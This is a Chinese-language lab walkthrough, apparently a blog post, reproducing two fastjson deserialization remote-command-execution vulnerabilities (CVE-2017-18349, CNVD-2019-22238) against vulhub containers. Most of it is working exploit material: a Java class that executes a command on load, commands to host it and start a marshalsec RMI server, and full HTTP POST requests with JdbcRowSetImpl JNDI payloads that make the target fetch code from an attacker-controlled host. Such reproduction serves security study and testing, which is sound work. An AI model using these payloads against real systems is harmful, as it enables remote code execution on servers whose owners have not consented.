一.fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链
影响范围:Fastjson1.2.24及之前版本
环境:vulhub
工具下载:
marshalsec.jar
1.生成class文件
//javac TouchFile.java 编译,找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2.开启http服务,利用工具进行利用,burp抓包
将编译好的class文件放到当前目录,在当前目录下开启http服务
python -m http.server 8000
使用 marshalsec工具开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.129:8000/#TouchFile" 9999
访问http://192.168.85.128:8090进行burp抓包,发送一下数据包
POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.85.129:9999/TouchFile",
"autoCommit":true
}
}
3.进入容器shell,查看文件
docker ps
docker exec -it f780e8f24b90 /bin/bash
cd /tmp
ls
二.Fastjson 1.2.47 远程命令执行漏洞(CNVD-2019-22238)
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响范围:Fastjson1.2.47以及之前的所有版本
环境:vulhub
工具下载:
marshalsec.jar
1.生成class文件
//javac TouchFile.java 编译,找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2.开启http服务,利用工具进行利用,burp抓包
将编译好的class文件放到当前目录,在当前目录下开启http服务
python -m http.server 8000
使用 marshalsec工具开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.129:8000/#TouchFile" 9999
访问http://192.168.85.128:8090进行burp抓包,发送一下数据包
“dataSourceName”:“rmi://192.168.85.129:9999/Exploit"和"dataSourceName”:"rmi://192.168.85.129:9999/TouchFile”都可以
POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.85.129:9999/Exploit",
"autoCommit":true
}
}
3.进入容器shell,查看文件
docker ps
docker exec -it 2be14733a78a /bin/bash
cd /tmp
ls